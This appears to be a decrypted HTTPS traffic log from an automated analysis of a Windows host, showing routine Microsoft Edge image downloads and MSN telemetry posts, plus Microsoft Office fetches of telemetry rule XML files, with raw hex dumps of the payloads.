2024-11-28 16:24:54 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 16:24:54 UTC	16384	IN	Data Raw: 57 22 e2 d6 73 a5 ae 1a 1e c5 97 de ba 22 c6 bb 72 8e 69 90 aa b2 1d 8c 46 92 11 25 4f c2 a9 e9 8d 81 54 91 04 59 95 7b 22 fa 43 7a af a7 bd 12 84 52 25 0f d3 3b 51 bd 33 b5 32 d7 a6 00 3d 33 b4 27 e9 94 68 70 d0 aa 49 0a 84 53 03 95 70 bb 62 2c 95 79 28 cc 08 d0 76 2c 52 f1 4a c2 e4 01 15 6a 91 20 e8 16 c3 10 04 64 ee a6 60 0b 70 a5 20 41 85 6c 2a 5e 15 52 d8 4e 40 04 2d ba 24 1d 85 59 ad 77 45 19 0c 1a 11 2a 6e 0d a6 56 40 0a 25 14 45 00 ec ed 57 c2 75 3d 88 d3 b9 3b ec 4b 31 c2 06 1a 36 27 08 8b 2c 33 2a 4a 90 50 9a 2f b7 72 1e 20 72 9f 92 63 36 16 42 65 d0 80 e7 a5 23 09 10 a9 28 38 c9 d1 54 a4 20 86 a5 94 5c 4e 56 96 ef 55 94 01 58 29 e1 4e 37 a7 84 aa 26 4c c2 ab 0b 60 ab 41 4c 01 d9 3b 22 e1 2a b8 4a 62 29 6d a9 c0 dc af 85 3c 08 10 3c 03 77 62 a1 Data Ascii: W"s"riF%OTY{"CzR%;Q32=3'hpISpb,y(v,RJj d`p Al^RN@-$YwEnV@%EWu=;K16',3JP/r rc6Be#(8T \NVUX)N7&L`AL;"Jb)m<<wb
2024-11-28 16:24:54 UTC	2980	IN	Data Raw: 96 cf 74 0d 9b 50 80 73 67 dc 46 5a f6 ae bb 39 ae b7 1c b4 63 a9 f9 9e d4 43 6a 7b d9 70 7e e0 b8 6f 88 7c 38 fb aa d3 6e 30 6e e6 44 9e a2 dd a3 34 81 c3 f1 dc 4f 0e eb 1c 57 c9 76 dc 3f c5 a9 71 0e 0d a8 d2 c7 1b 03 68 3d 4e 45 77 2e 4b 39 14 3c 99 72 ae df 23 ca 6b b2 68 b9 8d a6 06 a3 0e e3 3d 56 d2 a4 43 18 3d 10 4c 67 30 7b e5 7b 0f 11 f0 da 3c 48 c4 df 6b b4 7b 33 e6 35 f3 75 c1 57 f8 57 13 44 93 2e 70 fc cd 69 77 68 99 1e 2b 37 63 b7 bf 71 34 e2 30 d4 e3 68 97 37 8d 26 f6 c4 24 69 64 bd c5 80 ee 1e a1 96 98 19 8b 6b d4 a4 e2 c6 d3 7c e2 c5 27 32 d8 83 95 c5 d1 6a e0 75 27 00 f1 25 a6 c0 00 1d bb 72 e6 be d9 ba d6 9e 85 4e 6b 4c 85 1f 86 3f ff 00 6a d0 6f 0e 75 a3 7e d3 01 4d e2 70 36 8d 4a 8d 6b 98 e6 b4 91 ed 31 31 d9 1e 09 2f e1 f5 3d 1a 21 ae Data Ascii: tPsgFZ9cCj{p~o\|8n0nD4OWv?qh=NEw.K9<r#kh=VC=Lg0{{<Hk{35uWWD.piwh+7cq40h7&$idk\|'2ju'%rNkL?jou~Mp6Jk11/=!
2024-11-28 16:24:54 UTC	16384	IN	Data Raw: 71 52 9f e5 8e 84 fd 51 43 99 bd 29 61 02 71 76 d1 f3 4f fc 67 46 f6 0f a2 51 c2 d7 6a 3b 3f 74 cd 16 ed 45 43 cc 4a 2c a6 47 da 3a 83 fb fc 90 fd 16 ed 23 b0 a5 43 44 0d 9d 88 5e 91 d8 15 54 52 ba e5 8b 3a 0f c6 b7 50 16 fe 35 97 cb a2 e1 ce 2c f1 0e 89 df 43 9a e3 e9 a3 aa 87 a9 d9 1e 3e 98 cc 49 dd 96 e4 31 c7 53 be 61 72 30 33 33 da ad 23 f2 ef 4f a6 85 43 d4 eb 87 1d 4b 29 3d 7e 8a 4f ac 1d 70 e3 75 c5 02 0d ee 8d 8c 9d 48 1b 14 be 2d 09 a5 ea 75 98 98 7f 90 cc 6a 99 60 3f c9 bd ab 95 c5 1a 36 3c 51 7d 61 ac 28 7c 5d cc a6 ed 0e 94 35 db 46 c5 a5 ae be 47 b9 73 cd e2 04 c8 10 3a 94 a8 d7 0e d1 32 a3 a4 c6 aa 78 0a 8d a9 55 bf c8 b2 73 c2 e4 be cf 8a 71 52 31 60 78 68 8f 76 67 a9 0b 8d 73 db 13 3e 65 08 d6 de bb ed b5 db 8b 3a ed b0 ee 87 15 c2 71 71 Data Ascii: qRQC)aqvOgFQj;?tECJ,G:#CD^TR:P5,C>I1Sar033#OCK)=~OpuH-uj`?6<Q}a(\|]5FGs:2xUsqR1`xhvgs>e:qq
2024-11-28 16:24:54 UTC	16384	IN	Data Raw: 91 c1 0f 9e c5 6b 7f 76 c7 7b fb 5c a2 9f 04 18 b8 37 0b 0f f2 10 71 64 64 0c c4 25 b6 30 f0 ee 80 1c d6 bb 4f b9 83 bc 24 3f 80 fb a8 54 10 e7 43 e0 80 6d ee ee 88 ce 57 72 28 b3 3c 2e ff 00 71 1d c6 fc d5 fc cf 25 1c dc 8b 06 f6 12 b2 a4 b5 44 59 7b 44 b5 ce 66 f0 0b 98 7a 8c d4 81 5d ff 00 c8 02 36 8c 8f 7b 56 91 27 d9 88 5b ee 22 5b db 62 ae da 73 a0 de 60 89 fa f5 5e 6b b9 3d d7 f6 6b 4b c1 8f 1d 27 66 30 9e c3 f3 08 98 4c 59 d2 37 fd 42 a9 a4 ed 20 8d 8e 98 ed 42 f4 8e 92 d2 34 06 7b 3f 45 32 b5 f1 f7 90 86 b0 19 69 8c 8c 6e 87 b5 46 2d 6b b3 68 9d d9 8e 56 70 45 77 ae c3 39 f5 b1 3e 7a ac fc 43 09 c3 51 85 bd 44 8e d0 b7 4e ec 33 f2 dc c9 c7 97 99 0d d4 8b 6e d2 39 cf 78 bf 81 51 f1 bb f4 82 3c 3d dd a1 2c e0 63 be d7 78 cf 9f 05 19 cc 74 89 13 bf Data Ascii: kv{\7qdd%0O$?TCmWr(<.q%DY{Dfz]6{V'["[bs`^k=kK'f0LY7B B4{?E2inF-khVpEw9>zCQDN3n9xQ<=,cxt
2024-11-28 16:24:54 UTC	7952	IN	Data Raw: b9 ae e4 7b 04 88 74 e8 6a 44 df 28 17 53 8d 27 1b 0b 78 45 b4 bc a9 d9 0c fa 7e 8a a1 b0 0d c6 ba 8d 9a aa ad dd 9b 24 89 e8 c8 be 42 e6 fe 61 47 2d 6b 43 03 25 f6 31 00 9d 76 0b ca 52 38 40 6b 6e 43 a5 ce b8 3d 06 e4 03 60 0b 5f 2d 2d 93 39 8c b5 ce 3e aa 65 cc 39 d4 08 de 9e 26 0b e9 a5 88 f9 22 b6 88 0d 98 e5 1e 3a f6 a3 34 fb 65 de d1 62 6f 78 d9 12 7b 95 e9 1b 08 bc 9b 08 d9 ae fe 69 3b 9a ca 43 21 3c f0 e0 80 e7 b9 c2 09 cb 75 b0 91 17 1b 72 55 34 5c e7 e8 d0 1b 10 00 00 e5 71 ad fb 92 8d 6c 06 e4 dc ba d9 4d f5 0a 80 9f 4e 6d 33 1c bb 00 dc 8e a3 98 9c 8a f0 12 ab 52 ff 00 27 b4 62 98 ff 00 48 ca 74 41 fc 2e 20 7d a4 5b 38 99 3b 63 22 97 5e 4e f1 28 3e db 08 e5 bc 1c ef dd 2b 45 cb 19 2c a1 7a 81 ce 1a 2c 26 1d 26 2d 26 3c 7d df b2 6e a1 40 00 70 Data Ascii: {tjD(S'xE~$BaG-kC%1vR8@knC=`_--9>e9&":4ebox{i;C!<urU4\qlMNm3R'bHtA. }[8;c"^N(>+E,z,&&-&<}n@p
2024-11-28 16:24:54 UTC	16384	IN	Data Raw: 61 a0 7d d3 73 f2 b2 8b 54 5d a4 29 97 88 43 96 52 93 64 97 69 3d 32 47 35 00 1e d3 ce dd e8 6f c0 c0 29 b6 d2 33 3a cd cc 11 98 84 1a 6d bc 67 ae e8 51 7c b9 6f 1c c5 99 2c 61 0d 97 0b cc 93 d3 ea a3 bd f7 bc 11 9e 76 58 5c 31 11 61 b4 c7 28 fa 20 36 9f f2 9b 48 00 1f 1e 9b 96 39 fe 7e 63 89 26 7a ae 89 00 67 02 26 22 33 43 c6 5c 0d f3 ee ee 93 cd 3a 6d 1f 75 cb 46 b0 62 48 31 d7 92 60 17 5d c0 81 a6 92 47 4f aa e8 b5 64 5c 16 69 25 f9 58 08 ca df f6 f8 ea 83 67 bb 17 f6 c6 cb 6d e7 bb 6a 2c c9 b3 a2 d3 06 45 f9 d9 52 70 c8 75 ae 20 72 df bd 1f 56 79 ef a1 20 c8 2e c6 08 dc 3f 5c 90 8c 5b 14 69 97 4f cc 74 e8 b1 95 33 81 17 36 9e b9 ab 97 3a 26 24 9b 48 89 1b 23 9f 25 a6 d9 19 bc c0 07 c9 80 00 04 0b cc 9b 93 f2 09 b0 b2 a1 2e df 98 02 40 9c 86 de 51 d5 Data Ascii: a}sT])CRdi=2G5o)3:mgQ\|o,avX\1a( 6H9~c&zg&"3C\:muFbH1`]GOd\i%Xgmj,ERpu rVy .?\[iOt36:&$H#%.@Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49918	104.117.182.59	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:53 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:54 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 20 Nov 2024 06:31:45 GMT X-Datacenter: northeu X-ActivityId: d6b39d3f-d287-49b5-a5be-b8a97df370ee Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 X-Source-Length: 76988 Content-Length: 76988 Cache-Control: public, max-age=94077 Expires: Fri, 29 Nov 2024 18:32:50 GMT Date: Thu, 28 Nov 2024 16:24:53 GMT Connection: close
2024-11-28 16:24:54 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 16:24:54 UTC	16384	IN	Data Raw: c5 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 6c Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=zl
2024-11-28 16:24:54 UTC	1995	IN	Data Raw: cf 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 48 Data Ascii: .LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SWH
2024-11-28 16:24:54 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-11-28 16:24:54 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG A:]i}12~BR
2024-11-28 16:24:54 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-11-28 16:24:54 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:54 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 5dad9a26-101e-0079-2c66-405913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162454Z-174f7845968l4kp6hC1EWRe8840000000z0g000000002kdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:55 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49923	20.189.173.10	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:55 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732811092845&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11482 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-28 16:24:55 UTC	11482	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 36 3a 32 34 3a 35 32 2e 38 34 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 38 38 35 35 33 34 64 2d 36 63 33 30 2d 34 61 36 37 2d 38 31 66 32 2d 61 65 33 37 65 30 30 32 32 34 34 65 22 2c 22 65 70 6f 63 68 22 3a 22 33 39 30 31 32 38 33 31 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T16:24:52.843Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"3885534d-6c30-4a67-81f2-ae37e002244e","epoch":"3901283178"},"app":{"locale
2024-11-28 16:24:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b47e2d5ff0374391b61190555bae4f3d&HASH=b47e&LV=202411&V=4&LU=1732811095785; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 16:24:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=843df3f72ff84f2c8f5378963e9e521c; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 16:54:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2940 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 16:24:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:55 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
